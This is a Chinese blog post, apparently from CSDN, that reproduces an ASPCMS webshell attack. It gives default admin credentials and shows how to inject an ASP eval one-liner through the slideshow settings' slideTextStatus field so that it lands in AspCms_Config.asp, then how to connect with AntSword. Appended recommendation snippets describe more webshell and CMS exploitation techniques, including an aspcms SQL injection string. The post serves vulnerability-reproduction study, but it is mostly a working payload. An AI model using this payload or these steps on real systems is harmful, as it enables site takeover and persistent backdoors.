aspcms webshell漏洞复现

于 2024-09-15 18:01:33 发布
阅读量164 收藏 2
点赞数 6
文章标签： 服务器 安全 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_81881972/article/details/142286829
版权

1.登录网站【ip】/admin_aspcms/login.asp访问后台

账号admin密码123456

2.登录进去

3.点击【扩展功能】【幻灯片设置】点击【保存】

4.开启代理进行抓包

5.在抓取的数据包中修改 slideTextStatus 字段的值为以下代码并进行发包 访问影响文件

字段值
1%25><%25Eval(Request (chr(65)))%25><%25 密码是a

影响文件
/config/AspCms_Config.asp


6.蚁剑连接

你不要在理我了
关注
利用WebShell拿Shell技巧
悦分享
08-01 1978
webshell就是以asp、php、jsp等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp或php等后门文件与网站服务器WEB目录下正常的网页文件混在一起，可以使用浏览器来访问留下的后门，达到控制网站服务器的目的。shell的含义是取得对服务器某种程度上的操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。...
29-2 webshell 管理下
weixin_43263566的博客
03-21 469
然而，他自学掌握了多种计算机语言，包括C++、J2ME、PHP、JSP、ASP.NET等。其特点是使用加密WebShell来防止被发现，通过流量加密使得传统的WAF（Web应用防火墙）、Web IDS（网络入侵检测系统）设备难以检测。其核心功能包括Shell代理功能、Shell管理、文件管理、虚拟终端、数据库管理、插件市场和插件开发。冰蝎的特性使得它在一定程度上能够提高WebShell的隐蔽性和安全性，但同时也需要注意合法使用，并遵守相关法律法规。
【复现】常见CMS漏洞
m0_59151303的博客
08-04 673
点击【应用】–》【 插件安装】–》【 上传文件】点击【模板】--》【默认模板管理】--》【index.htm】--> 【修改】在文件修改中添加一句话木马…步骤一：点击【模块】–》【广告管理】--》【增加一个新广告】--》在【广告内容】处添加一句话代码–》点击【确定】步骤二：登陆到后台点击【核心】–》【文件式管理器】--》【文件上传】将准备好的一句话代码上传…步骤一：点击【工具】–》 【文件管理】–》 【功能菜单】 --》【上传文件】–》 【解压】
CMS-GetShell漏洞复现
2401_86440467的博客
08-05 1726
使用虚拟机为centos7.6确保docker与docker-compose已安装(如果有需要或者有时间，会做一篇安装流程)下载靶场git clone https://github.com/vulhub/vulhub.git(我这里已经下载，不再演示)进入 /vulhub/wordpress/pwnscriptum 目录下；使用命令docker-compose up -d 开启环境如果启动失败，vim docker-compose.yml修改将上面改为2.1，下面为端口自己随便选择一个未占用即可。
常见CMS漏洞（WordPress、DeDeCMS、ASPCMS、PHPMyadmin、Pageadmin）
2301_76631050的博客
08-04 1013
利⽤mysql⽇志⽂件写shell，这个⽇志可以在mysql⾥改变它的存放位置，登录phpmyadmin可以修改这个存放位置，并且可以修改它的后缀名。PageAdmin CMS系统是基于.Net的⽹站管理系统,安全、稳定、灵活,全国⽤户超过百万,致⼒于为企业、学校、政府⽹站建设和⽹站制作提供企业级内容管理系统解决⽅案。路径: E:\phpstudy_pro\Extensions\MySQL5.7.26\data\。猜测web路径: E:\phpstudy_pro\WWW。不要用\,如里要用\\(转义)
常⻅CMS漏洞
weixin_53736204的博客
08-03 1514
​ WordPress是⼀个以PHP和MySQL为平台的⾃由开源的博客软件和内容管理系统。WordPress具 有插件架构和模板系统。截⾄2018年4⽉，排名前1000万的⽹站中超过30.6%使⽤WordPress。WordPress是最受欢迎的⽹站 内容管理系统。全球有⼤约30%的⽹站(7亿5000个)都是使⽤WordPress 架设⽹站的。WordPress是⽬前 因特⽹上最流⾏的博客系统。WordPress在最著名的⽹络发布阶段中脱 颖⽽出。如今，它被使⽤在超过7000万个站点上。
【WEB】aspcms漏洞利用
热门推荐
HAPPY
08-18 1万+
【社工方法】（不推荐） 1.首先谷歌关键字 Powered by aspcms.com Copyright ?2010-2011 的漏洞，果然功夫不负有心人 2.接着利用注入漏洞 /plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password...
上传漏洞
7hinkSource的博客
09-01 463
没有对提交的数据进行检验或过滤不严，可以直接提交修改过的数据绕过拓展名的检验 校验方式 客户端 JavaScript校验(一般只校验后缀名) 服务端校验 文件头content-type字段校验(image/gif)：抓包改包改content-type 文件内容头校验(GIF89a)：抓包改包改文件头 文件后缀名：jspx、php3、pHp、jspf 后缀黑名单校验 后缀白名单校验 自定义正则校验 WAF设备校验 文本编辑器漏洞 常见的文本编辑器有：FCKEditor、Ewebeditor、UEditor
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 5531
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
基于高通主板的ARM架构服务器
D404234的博客
09-11 1353
但高通在服务器市场面临激烈竞争，联发科在手机芯片市场挑战高通，苹果加快自研芯片使用步伐给高通压力，服务器市场英特尔占主导，高通要成功需克服诸多困难。高通在服务器芯片领域面临挑战，有收购与专利问题，博通收购后高通削减“非核心业务”支出，Intel 市占率高且 Arm 生态和软件不完善，高通在 Arm 服务器芯片市场进展不大，2018 年高通服务器芯片部门裁员约 280 名，占部门总人数一半左右，业务前景充满不确定性。易获取部署，众多供应商，90%主流软件适配，兼容性强，常见系统和程序可顺畅运行。
Linux：五种IO模型
MaoRuofeng的博客
09-09 1225
阻塞IO: 在内核将数据准备好之前,系统调用会一直等待.所有的套接字,默认 都是阻塞方式。非阻塞 IO: 如果内核还未将数据准备好, 系统调用仍然会直接返回, 并且返回EWOULDBLOCK 错误码。 非阻塞 IO 往往需要循环的方式反复尝试读写文件描述符(对于CPU会有较大的浪费), 这个过程称为轮询。 信号驱动 IO: 内核将数据准备好的时候, 使用 SIGIO 信号通知应用程序进行 IO操作。IO 多路转接: 虽然从流程图上看起来
Windows电脑A远程连接电脑B
weixin_44750594的博客
09-11 239
3. 打开电脑A，如果默认没有搜索图标出来，可以利用Windows+X调用出搜索命令，之后输入“远程桌面连接”，打开远程桌面把B电脑的IP输入。ip看以无线局域网适配器 WLAN里面的本地链接IPV6地址：X.X.X.X（这是那个地址的格式就是，例如为10.222.1.2）4. 如果电脑B有密码和名字，把电脑的名字和电脑密码输入给A，这样就可以连接。
怎么选择适合的服务器
2403_86998484的博客
09-14 411
大家都知道，不管是公司还是个人，在数字化浪潮已经席卷全球的环境下，大家对服务器的需求是日渐增长的。很多人在买服务器的时候，多少都有点选择困难，今天我们就来对比下物理服务器和弹性云服务器，看看选哪个更省心。业务规模：如果你的业务还在起步阶段，或者只是想自己倒腾点东西，比如建steam游戏的服务器、建个人博客、论坛等，那么云服务器应该更适合你。想象一下，物理服务器就像你家的老式冰箱，虽然样子有点过时，但性能稳定，用起来心里踏实。而弹性云服务器，就像是你的智能手机，随时随地，想怎么用就怎么用。
【银河麒麟高级服务器操作系统】虚拟机服务器执行systemctl提示timeout——分析全过程及处理建议
银河麒麟操作系统的博客
09-10 1248
了解全新产品，请点击访问产品信息产品名称银河麒麟高级服务器操作系统（海光版）V10ISO环境信息主机型号虚拟机systemd崩溃，后续systemd连接异常，systemctl失败。需要查明systemd崩溃原因根据sosreport中的messages信息，systemd发生了coredump，收到了信号SIGQUIT。见图2.1.1图2.1.1使用gdb分析systemd的coredump文件，显示systemd是收到了SIGQUIT后发生的coredump。并未调用错误处理函数。
828华为云征文 | 华为云X实例服务器上部署知识图谱项目的详细指南
cooldream2009的博客
09-11 1403
知识图谱作为数据整合、语义分析和人工智能的重要基础，逐渐被广泛应用于各类领域。其通过结构化数据和关系映射，帮助用户更好地理解数据背后的意义。本文将详细介绍如何在华为云X实例服务器上部署一个完整的知识图谱项目，涵盖开发环境JDK、Tomcat应用服务器、Virtuoso图数据库以及MySQL关系型数据库的安装与配置。结合实例的硬件配置，我们将讨论其性能表现，帮助读者理解如何高效利用云服务器资源。
Zabbix自定义监控项与触发器
henanchenxuyuan的博客
09-11 1480
Zabbix 中内置了很多监控参数(Key)，我们可以通过在客户端配置文件中定义 key，获取监控对象中的系统、CPU、网络、内存、文件系统等信息。Key(键)是 zabbix 标记 item 的键，是一种标识符。利用 key 可以定义一个监控对象，那么这个监控对象肯定是采集数据的，但是采集数据的时候可能存在很多节点与 server 交互，那么需要具体采集哪个节点，就可以用 key 进行采集。
postgres_fdw访问存储在外部 PostgreSQL 服务器中的数据
不会编程的猫星人
09-14 714
postgres_fdw访问存储在外部 PostgreSQL 服务器中的数据
集群聊天服务器项目【C++】（二）Json的简单使用
最新发布
xaiobai123的博客
09-14 466
Json是一种轻量级的数据交换格式（也叫数据序列化方式）。Json采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 Json 成为理想的数据交换语言。易于人阅读和编写，同时也易于机器解析和生成，并有效地提升网络传输效率。在网络传输中，一般有3中常见的序列化格式：XML，Json、ProtoBufProtoBuf：数据压缩编码传输，占用带宽小，复杂Json：相比与ProtoBuf更简单，但性能差一点XML：性能差本项目使用Json完成网络数据的序列化与反序列化。
帝国cms7.5垂直越权漏洞复现
01-02
根据提供的引用内容，帝国CMS 7.5版本及之前版本存在一个垂直越权漏洞，通过修改数据库表名可以实现任意代码执行。下面是帝国CMS 7.5垂直越权漏洞的复现步骤： 1. 使用管理员账户登录帝国CMS后台。 2. 访问以下URL：`/e/admin/admin/ebak/phome.php`。 3. 在URL中修改数据库表名，以实现任意代码执行。 请注意，这是一个漏洞复现的示例，仅用于安全研究和教育目的。在实际环境中，请遵循合法和道德的行为准则。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值